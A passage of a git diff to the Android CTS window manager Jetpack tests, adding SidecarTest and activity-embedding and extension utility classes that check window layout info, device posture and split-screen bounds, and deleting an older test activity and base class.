-/** Base class for all tests in the module. Copied from androidx.window.WindowTestBase. */
-class JetpackExtensionTestBase extends ActivityManagerTestBase {
-    static IBinder getActivityWindowToken(Activity activity) {
-        return activity.getWindow().getAttributes().token;
-    }
-}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
new file mode 100644
index 0000000..85ae95d
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
@@ -0,0 +1,263 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
+import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
+import static android.server.wm.jetpack.utils.SidecarUtil.MINIMUM_SIDECAR_VERSION;
+import static android.server.wm.jetpack.utils.SidecarUtil.assertEqualWindowLayoutInfo;
+import static android.server.wm.jetpack.utils.SidecarUtil.assumeHasDisplayFeatures;
+import static android.server.wm.jetpack.utils.SidecarUtil.assumeSidecarSupportedDevice;
+import static android.server.wm.jetpack.utils.SidecarUtil.getSidecarInterface;
+import static android.server.wm.jetpack.utils.SidecarUtil.isSidecarVersionValid;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.assertNotBothDimensionsZero;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.assertHasNonNegativeDimensions;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.doesDisplayRotateForOrientation;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityWindowToken;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.setActivityOrientationActivityDoesNotHandleOrientationChanges;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.setActivityOrientationActivityHandlesOrientationChanges;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.ActivityInfo;
+import android.graphics.Rect;
+import android.os.IBinder;
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
+import android.server.wm.jetpack.utils.SidecarCallbackCounter;
+import android.server.wm.jetpack.utils.TestActivity;
+import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+import android.server.wm.jetpack.utils.TestGetWindowLayoutInfoActivity;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
+
+import androidx.window.sidecar.SidecarDeviceState;
+import androidx.window.sidecar.SidecarDisplayFeature;
+import androidx.window.sidecar.SidecarInterface;
+import androidx.window.sidecar.SidecarWindowLayoutInfo;
+
+import com.google.common.collect.BoundType;
+import com.google.common.collect.Range;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/**
+ * Tests for the {@link androidx.window.sidecar} implementation provided on the device (and only
+ * if one is available).
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerJetpackTestCases:SidecarTest
+ */
+@LargeTest
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class SidecarTest extends WindowManagerJetpackTestBase {
+    private static final String TAG = "SidecarTest";
+
+    private TestActivity mActivity;
+    private SidecarInterface mSidecarInterface;
+    private IBinder mWindowToken;
+
+    @Before
+    @Override
+    public void setUp() {
+        super.setUp();
+        assumeSidecarSupportedDevice(mContext);
+        mActivity = (TestActivity) startActivityNewTask(TestActivity.class);
+        mSidecarInterface = getSidecarInterface(mActivity);
+        assertThat(mSidecarInterface).isNotNull();
+        mWindowToken = getActivityWindowToken(mActivity);
+        assertThat(mWindowToken).isNotNull();
+    }
+
+    /**
+     * Test adding and removing a sidecar interface window layout change listener.
+     */
+    @Test
+    public void testSidecarInterface_onWindowLayoutChangeListener() {
+        // Set activity to portrait
+        setActivityOrientationActivityDoesNotHandleOrientationChanges(mActivity,
+                ORIENTATION_PORTRAIT);
+
+        // Create the sidecar callback. onWindowLayoutChanged should only be called twice in this
+        // test, not the third time when the orientation will change because the listener will be
+        // removed.
+        SidecarCallbackCounter sidecarCallback = new SidecarCallbackCounter(mWindowToken,
+                2 /* expectedCallbackCount */);
+        mSidecarInterface.setSidecarCallback(sidecarCallback);
+
+        // Add window layout listener for mWindowToken - onWindowLayoutChanged should be called
+        mSidecarInterface.onWindowLayoutChangeListenerAdded(mWindowToken);
+
+        // Change the activity orientation - onWindowLayoutChanged should be called
+        setActivityOrientationActivityDoesNotHandleOrientationChanges(mActivity,
+                ORIENTATION_LANDSCAPE);
+
+        // Remove the listener
+        mSidecarInterface.onWindowLayoutChangeListenerRemoved(mWindowToken);
+
+        // Change the activity orientation - onWindowLayoutChanged should NOT be called
+        setActivityOrientationActivityDoesNotHandleOrientationChanges(mActivity,
+                ORIENTATION_PORTRAIT);
+
+        // Check that the countdown is zero
+        sidecarCallback.assertZeroCount();
+    }
+
+    @Test
+    public void testSidecarInterface_getWindowLayoutInfo() {
+        assumeHasDisplayFeatures(mSidecarInterface, mWindowToken);
+
+        // Layout must happen after launch
+        assertThat(mActivity.waitForLayout()).isTrue();
+        SidecarWindowLayoutInfo windowLayoutInfo = mSidecarInterface.getWindowLayoutInfo(
+                mWindowToken);
+        assertThat(windowLayoutInfo).isNotNull();
+
+        for (SidecarDisplayFeature displayFeature : windowLayoutInfo.displayFeatures) {
+            int featureType = displayFeature.getType();
+            assertThat(featureType).isAtLeast(SidecarDisplayFeature.TYPE_FOLD);
+            assertThat(featureType).isAtMost(SidecarDisplayFeature.TYPE_HINGE);
+
+            Rect featureRect = displayFeature.getRect();
+            // Feature cannot have negative area
+            assertHasNonNegativeDimensions(featureRect);
+            // Feature cannot have zero width and height, at most only one dimension can be zero
+            assertNotBothDimensionsZero(featureRect);
+            // Check that feature is within the activity bounds
+            assertTrue(getActivityBounds(mActivity).contains(featureRect));
+        }
+    }
+
+    @Test
+    public void testSidecarInterface_getDeviceState() {
+        SidecarDeviceState deviceState = mSidecarInterface.getDeviceState();
+        assertThat(deviceState).isNotNull();
+
+        assertThat(deviceState.posture).isIn(Range.range(
+                SidecarDeviceState.POSTURE_UNKNOWN, BoundType.CLOSED,
+                SidecarDeviceState.POSTURE_FLIPPED, BoundType.CLOSED));
+    }
+
+    @Test
+    public void testSidecarInterface_onDeviceStateListenersChanged() {
+        SidecarDeviceState deviceState1 = mSidecarInterface.getDeviceState();
+        mSidecarInterface.onDeviceStateListenersChanged(false /* isEmpty */);
+        SidecarDeviceState deviceState2 = mSidecarInterface.getDeviceState();
+        mSidecarInterface.onDeviceStateListenersChanged(true /* isEmpty */);
+        SidecarDeviceState deviceState3 = mSidecarInterface.getDeviceState();
+
+        assertEquals(deviceState1.posture, deviceState2.posture);
+        assertEquals(deviceState1.posture, deviceState3.posture);
+    }
+
+    /**
+     * Tests that before an activity is attached to a window,
+     * {@link SidecarInterface#getWindowLayoutInfo()} either returns the same value as it would
+     * after the activity is attached to a window or throws an exception.
+     */
+    @Test
+    public void testGetWindowLayoutInfo_activityNotAttachedToWindow_returnsCorrectValue() {
+        assumeHasDisplayFeatures(mSidecarInterface, mWindowToken);
+
+        // The value is verified inside TestGetWindowLayoutInfoActivity
+        TestGetWindowLayoutInfoActivity.resetResumeCounter();
+        TestGetWindowLayoutInfoActivity testGetWindowLayoutInfoActivity
+                = (TestGetWindowLayoutInfoActivity) startActivityNewTask(
+                        TestGetWindowLayoutInfoActivity.class);
+
+        // Make sure the activity has gone through all states.
+        assertThat(TestGetWindowLayoutInfoActivity.waitForOnResume()).isTrue();
+        assertThat(testGetWindowLayoutInfoActivity.waitForLayout()).isTrue();
+    }
+
+    @Test
+    public void testGetWindowLayoutInfo_configChanged_windowLayoutUpdates() {
+        assumeHasDisplayFeatures(mSidecarInterface, mWindowToken);
+
+        TestConfigChangeHandlingActivity configHandlingActivity
+                = (TestConfigChangeHandlingActivity) startActivityNewTask(
+                TestConfigChangeHandlingActivity.class);
+        SidecarInterface sidecar = getSidecarInterface(configHandlingActivity);
+        assertThat(sidecar).isNotNull();
+        IBinder configHandlingActivityWindowToken = getActivityWindowToken(configHandlingActivity);
+        assertThat(configHandlingActivityWindowToken).isNotNull();
+
+        setActivityOrientationActivityHandlesOrientationChanges(configHandlingActivity,
+                ORIENTATION_PORTRAIT);
+        SidecarWindowLayoutInfo portraitWindowLayoutInfo =
+                sidecar.getWindowLayoutInfo(configHandlingActivityWindowToken);
+        final Rect portraitBounds = getActivityBounds(configHandlingActivity);
+        final Rect portraitMaximumBounds = getMaximumActivityBounds(configHandlingActivity);
+
+        setActivityOrientationActivityHandlesOrientationChanges(configHandlingActivity,
+                ORIENTATION_LANDSCAPE);
+        SidecarWindowLayoutInfo landscapeWindowLayoutInfo =
+                sidecar.getWindowLayoutInfo(configHandlingActivityWindowToken);
+        final Rect landscapeBounds = getActivityBounds(configHandlingActivity);
+        final Rect landscapeMaximumBounds = getMaximumActivityBounds(configHandlingActivity);
+
+        final boolean doesDisplayRotateForOrientation = doesDisplayRotateForOrientation(
+                portraitMaximumBounds, landscapeMaximumBounds);
+        assertEqualWindowLayoutInfo(portraitWindowLayoutInfo, landscapeWindowLayoutInfo,
+                portraitBounds, landscapeBounds, doesDisplayRotateForOrientation);
+    }
+
+    @Test
+    public void testGetWindowLayoutInfo_windowRecreated_windowLayoutUpdates() {
+        assumeHasDisplayFeatures(mSidecarInterface, mWindowToken);
+
+        setActivityOrientationActivityDoesNotHandleOrientationChanges(mActivity,
+                ORIENTATION_PORTRAIT);
+        SidecarWindowLayoutInfo portraitWindowLayoutInfo =
+                mSidecarInterface.getWindowLayoutInfo(mWindowToken);
+        final Rect portraitBounds = getActivityBounds(mActivity);
+        final Rect portraitMaximumBounds = getMaximumActivityBounds(mActivity);
+
+        setActivityOrientationActivityDoesNotHandleOrientationChanges(mActivity,
+                ORIENTATION_LANDSCAPE);
+
+        mWindowToken = getActivityWindowToken(mActivity);
+        assertThat(mWindowToken).isNotNull();
+
+        SidecarWindowLayoutInfo landscapeWindowLayoutInfo =
+                mSidecarInterface.getWindowLayoutInfo(mWindowToken);
+        final Rect landscapeBounds = getActivityBounds(mActivity);
+        final Rect landscapeMaximumBounds = getMaximumActivityBounds(mActivity);
+
+        final boolean doesDisplayRotateForOrientation = doesDisplayRotateForOrientation(
+                portraitMaximumBounds, landscapeMaximumBounds);
+        assertEqualWindowLayoutInfo(portraitWindowLayoutInfo, landscapeWindowLayoutInfo,
+                portraitBounds, landscapeBounds, doesDisplayRotateForOrientation);
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/TestGetWindowLayoutInfoActivity.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/TestGetWindowLayoutInfoActivity.java
deleted file mode 100644
index 679dba6..0000000
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/TestGetWindowLayoutInfoActivity.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.jetpack;
-
-import static android.server.wm.jetpack.JetpackExtensionTestBase.getActivityWindowToken;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.os.Bundle;
-import android.os.IBinder;
-import android.server.wm.jetpack.utils.ExtensionUtils;
-import android.server.wm.jetpack.utils.wrapper.TestInterfaceCompat;
-import android.server.wm.jetpack.utils.wrapper.TestWindowLayoutInfo;
-import android.view.View;
-
-import androidx.annotation.Nullable;
-
-/**
- * Activity that can verify the return value of
- * {@link android.server.wm.jetpack.utils.wrapper.TestInterfaceCompat#getWindowLayoutInfo(IBinder)}
- * on activity's different states.
- */
-public class TestGetWindowLayoutInfoActivity extends TestActivity {
-
-    private TestInterfaceCompat mExtension;
-    @Nullable private TestWindowLayoutInfo prevWindowLayoutInfo;
-
-    @Override
-    public void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        mExtension = ExtensionUtils.getInterfaceCompat(this);
-        assertCorrectWindowLayoutInfoOrException(true /* isOkToThrowException */);
-    }
-
-    @Override
-    public void onAttachedToWindow() {
-        super.onAttachedToWindow();
-        assertCorrectWindowLayoutInfoOrException(true /* isOkToThrowException */);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        assertCorrectWindowLayoutInfoOrException(true /* isOkToThrowException */);
-    }
-
-    @Override
-    public void onLayoutChange(View v, int left, int top, int right, int bottom, int oldLeft,
-            int oldTop, int oldRight, int oldBottom) {
-        super.onLayoutChange(v, left, top, right, bottom, oldLeft, oldTop, oldRight, oldBottom);
-        assertCorrectWindowLayoutInfoOrException(false /* isOkToThrowException */);
-    }
-
-    @Override
-    public void onDestroy() {
-        super.onDestroy();
-    }
-
-    private void assertCorrectWindowLayoutInfoOrException(boolean isOkToThrowException) {
-        IBinder windowToken = getActivityWindowToken(this);
-        if (windowToken == null) {
-            return;
-        }
-
-        TestWindowLayoutInfo windowLayoutInfo = null;
-        try {
-            windowLayoutInfo = mExtension.getWindowLayoutInfo(windowToken);
-        } catch (Exception e) {
-            assertThat(isOkToThrowException).isTrue();
-        }
-
-        if (prevWindowLayoutInfo == null) {
-            prevWindowLayoutInfo = windowLayoutInfo;
-        } else {
-            assertThat(windowLayoutInfo).isEqualTo(prevWindowLayoutInfo);
-        }
-    }
-}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingTestBase.java
new file mode 100644
index 0000000..6717820
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingTestBase.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+
+import static org.junit.Assume.assumeNotNull;
+
+import androidx.window.extensions.WindowExtensions;
+import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
+import androidx.window.extensions.embedding.SplitInfo;
+
+import org.junit.Before;
+
+import java.util.List;
+
+/**
+ * Base test class for the {@link androidx.window.extensions} implementation provided on the device
+ * (and only if one is available) for the Activity Embedding functionality.
+ */
+public class ActivityEmbeddingTestBase extends WindowManagerJetpackTestBase {
+
+    protected ActivityEmbeddingComponent mActivityEmbeddingComponent;
+    protected TestValueCountConsumer<List<SplitInfo>> mSplitInfoConsumer;
+
+    @Override
+    @Before
+    public void setUp() {
+        super.setUp();
+        assumeExtensionSupportedDevice();
+        WindowExtensions windowExtensions = getWindowExtensions();
+        assumeNotNull(windowExtensions);
+        mActivityEmbeddingComponent = windowExtensions.getActivityEmbeddingComponent();
+        assumeNotNull(mActivityEmbeddingComponent);
+        mSplitInfoConsumer = new TestValueCountConsumer<>();
+        mActivityEmbeddingComponent.setSplitInfoCallback(mSplitInfoConsumer);
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
new file mode 100644
index 0000000..fbdfc3a
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getResumedActivityById;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityFromActivity;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Application;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Looper;
+import android.util.LayoutDirection;
+import android.util.Log;
+import android.util.Pair;
+import android.view.WindowMetrics;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.WindowExtensions;
+import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
+import androidx.window.extensions.embedding.EmbeddingRule;
+import androidx.window.extensions.embedding.SplitInfo;
+import androidx.window.extensions.embedding.SplitPairRule;
+import androidx.window.extensions.embedding.SplitRule;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Predicate;
+
+/**
+ * Utility class for activity embedding tests.
+ */
+public class ActivityEmbeddingUtil {
+
+    public static final String TAG = "ActivityEmbeddingTests";
+    public static final long WAIT_FOR_RESUMED_TIMEOUT_MS = 3000;
+    public static final float DEFAULT_SPLIT_RATIO = 0.5f;
+
+    @NonNull
+    public static SplitPairRule createWildcardSplitPairRule(boolean shouldClearTop) {
+        // Any activity be split with any activity
+        final Predicate<Pair<Activity, Activity>> activityPairPredicate =
+                activityActivityPair -> true;
+        // Any activity can launch any split intent
+        final Predicate<Pair<Activity, Intent>> activityIntentPredicate =
+                activityIntentPair -> true;
+        // Allow any parent bounds to show the split containers side by side
+        Predicate<WindowMetrics> parentWindowMetricsPredicate = windowMetrics -> true;
+        // Build the split pair rule
+        return new SplitPairRule.Builder(activityPairPredicate,
+                activityIntentPredicate, parentWindowMetricsPredicate).setSplitRatio(
+                DEFAULT_SPLIT_RATIO).setShouldClearTop(shouldClearTop).build();
+    }
+
+    @NonNull
+    public static SplitPairRule createWildcardSplitPairRule() {
+        return createWildcardSplitPairRule(false /* shouldClearTop */);
+    }
+
+    public static Activity startActivityAndVerifySplit(@NonNull Activity activityLaunchingFrom,
+            @NonNull Activity expectedPrimaryActivity, @NonNull Class secondActivityClass,
+            @NonNull SplitPairRule splitPairRule, @NonNull String secondActivityId,
+            int expectedCallbackCount,
+            @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
+        // Set the expected callback count
+        splitInfoConsumer.setCount(expectedCallbackCount);
+
+        // Start second activity
+        startActivityFromActivity(activityLaunchingFrom, secondActivityClass, secondActivityId);
+
+        // Get updated split info
+        List<SplitInfo> activeSplitStates = null;
+        try {
+            activeSplitStates = splitInfoConsumer.waitAndGet();
+        } catch (InterruptedException e) {
+            fail("startActivityAndVerifySplit() InterruptedException");
+        }
+
+        // Get second activity from split info
+        Activity secondActivity = getSecondActivity(activeSplitStates, expectedPrimaryActivity,
+                secondActivityId);
+        assertNotNull(secondActivity);
+
+        assertValidSplit(expectedPrimaryActivity, secondActivity, splitPairRule);
+
+        // Return second activity for easy access in calling method
+        return secondActivity;
+    }
+
+    public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
+            @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
+            @NonNull String secondActivityId, int expectedCallbackCount,
+            @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
+        return startActivityAndVerifySplit(primaryActivity /* activityLaunchingFrom */,
+                primaryActivity, secondActivityClass, splitPairRule, secondActivityId,
+                expectedCallbackCount, splitInfoConsumer);
+    }
+
+    public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
+            @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
+            @NonNull String secondActivityId,
+            @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) {
+        return startActivityAndVerifySplit(primaryActivity, secondActivityClass, splitPairRule,
+                secondActivityId, 1 /* expectedCallbackCount */, splitInfoConsumer);
+    }
+
+    @Nullable
+    public static Activity getSecondActivity(@Nullable List<SplitInfo> activeSplitStates,
+            @NonNull Activity primaryActivity, @NonNull String secondaryClassId) {
+        if (activeSplitStates == null) {
+            Log.d(TAG, "Null split states");
+            return null;
+        }
+        Log.d(TAG, "Active split states: " + activeSplitStates);
+        for (SplitInfo splitInfo : activeSplitStates) {
+            // Find the split info whose top activity in the primary container is the primary
+            // activity we are looking for
+            Activity primaryContainerTopActivity = getPrimaryStackTopActivity(splitInfo);
+            if (primaryActivity.equals(primaryContainerTopActivity)) {
+                Activity secondActivity = getSecondaryStackTopActivity(splitInfo);
+                // See if this activity is the secondary activity we expect
+                if (secondActivity != null && secondActivity instanceof TestActivityWithId
+                        && secondaryClassId.equals(((TestActivityWithId) secondActivity).getId())) {
+                    return secondActivity;
+                }
+            }
+        }
+        Log.d(TAG, "Second activity was not found: " + secondaryClassId);
+        return null;
+    }
+
+    public static void assertValidSplit(@NonNull Activity primaryActivity,
+            @NonNull Activity secondaryActivity, SplitRule splitRule) {
+        waitForResumed(Arrays.asList(primaryActivity, secondaryActivity));
+
+        // Compute the layout direction
+        int layoutDir = splitRule.getLayoutDirection();
+        if (layoutDir == LayoutDirection.LOCALE) {
+            layoutDir = primaryActivity.getResources().getConfiguration().getLayoutDirection();
+        }
+
+        final float splitRatio = splitRule.getSplitRatio();
+        final Rect parentBounds = getMaximumActivityBounds(primaryActivity);
+        final Rect expectedPrimaryActivityBounds = new Rect();
+        final Rect expectedSecondaryActivityBounds = new Rect();
+        getExpectedPrimaryAndSecondaryBounds(layoutDir, splitRatio, parentBounds,
+                expectedPrimaryActivityBounds, expectedSecondaryActivityBounds);
+        assertEquals(expectedPrimaryActivityBounds, getActivityBounds(primaryActivity));
+        assertEquals(expectedSecondaryActivityBounds, getActivityBounds(secondaryActivity));
+    }
+
+    public static void verifyFillsTask(Activity activity) {
+        waitForResumed(Arrays.asList(activity));
+        assertEquals(getMaximumActivityBounds(activity), getActivityBounds(activity));
+    }
+
+    public static boolean waitForResumed(
+            @NonNull List<Activity> activityList) {
+        final long startTime = System.currentTimeMillis();
+        while (System.currentTimeMillis() - startTime < WAIT_FOR_RESUMED_TIMEOUT_MS) {
+            boolean allActivitiesResumed = true;
+            for (Activity activity : activityList) {
+                allActivitiesResumed &= WindowManagerJetpackTestBase.isActivityResumed(activity);
+                if (!allActivitiesResumed) {
+                    break;
+                }
+            }
+            if (allActivitiesResumed) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public static boolean waitForResumed(@NonNull String activityId) {
+        final long startTime = System.currentTimeMillis();
+        while (System.currentTimeMillis() - startTime < WAIT_FOR_RESUMED_TIMEOUT_MS) {
+            if (getResumedActivityById(activityId) != null) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @Nullable
+    public static Activity getPrimaryStackTopActivity(SplitInfo splitInfo) {
+        List<Activity> primaryActivityStack = splitInfo.getPrimaryActivityStack().getActivities();
+        if (primaryActivityStack.isEmpty()) {
+            return null;
+        }
+        return primaryActivityStack.get(primaryActivityStack.size() - 1);
+    }
+
+    @Nullable
+    public static Activity getSecondaryStackTopActivity(SplitInfo splitInfo) {
+        List<Activity> secondaryActivityStack = splitInfo.getSecondaryActivityStack()
+                .getActivities();
+        if (secondaryActivityStack.isEmpty()) {
+            return null;
+        }
+        return secondaryActivityStack.get(secondaryActivityStack.size() - 1);
+    }
+
+    public static void getExpectedPrimaryAndSecondaryBounds(int layoutDir, float splitRatio,
+            @NonNull Rect inParentBounds, @NonNull Rect outPrimaryActivityBounds,
+            @NonNull Rect outSecondaryActivityBounds) {
+        final int expectedPrimaryWidth = (int) (inParentBounds.width() * splitRatio);
+        final int expectedSecondaryWidth = (int) (inParentBounds.width() * (1 - splitRatio));
+
+        outPrimaryActivityBounds.set(inParentBounds);
+        outSecondaryActivityBounds.set(inParentBounds);
+        if (layoutDir == LayoutDirection.LTR) {
+            /*******************|*********************
+             * primary activity | secondary activity *
+             *******************|*********************/
+            outPrimaryActivityBounds.right = inParentBounds.left + expectedPrimaryWidth;
+            outSecondaryActivityBounds.left = inParentBounds.right - expectedSecondaryWidth;
+        } else {
+            /*********************|*******************
+             * secondary activity | primary activity *
+             *********************|*******************/
+            outPrimaryActivityBounds.left = inParentBounds.right - expectedPrimaryWidth;
+            outSecondaryActivityBounds.right = inParentBounds.left + expectedSecondaryWidth;
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
new file mode 100644
index 0000000..a3e682b
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.graphics.Rect;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.window.extensions.WindowExtensions;
+import androidx.window.extensions.WindowExtensionsProvider;
+import androidx.window.extensions.layout.DisplayFeature;
+import androidx.window.extensions.layout.FoldingFeature;
+import androidx.window.extensions.layout.WindowLayoutComponent;
+import androidx.window.extensions.layout.WindowLayoutInfo;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.stream.Collectors;
+
+/**
+ * Utility class for extensions tests, providing methods for checking if a device supports
+ * extensions, retrieving and validating the extension version, and getting the instance of
+ * {@link WindowExtensions}.
+ */
+public class ExtensionUtil {
+
+    private static final String EXTENSION_TAG = "Extension";
+
+    public static final Version MINIMUM_EXTENSION_VERSION = new Version(1, 0, 0, "");
+
+    @NonNull
+    public static Version getExtensionVersion() {
+        try {
+            WindowExtensions extensions = getWindowExtensions();
+            if (extensions != null) {
+                return new Version(extensions.getVendorApiLevel() /* major */, 0 /* minor */,
+                        0 /* patch */, "" /* description */);
+            }
+        } catch (NoClassDefFoundError e) {
+            Log.d(EXTENSION_TAG, "Extension version not found");
+        } catch (UnsupportedOperationException e) {
+            Log.d(EXTENSION_TAG, "Stub Extension");
+        }
+        return Version.UNKNOWN;
+    }
+
+    public static boolean isExtensionVersionValid() {
+        final Version version = getExtensionVersion();
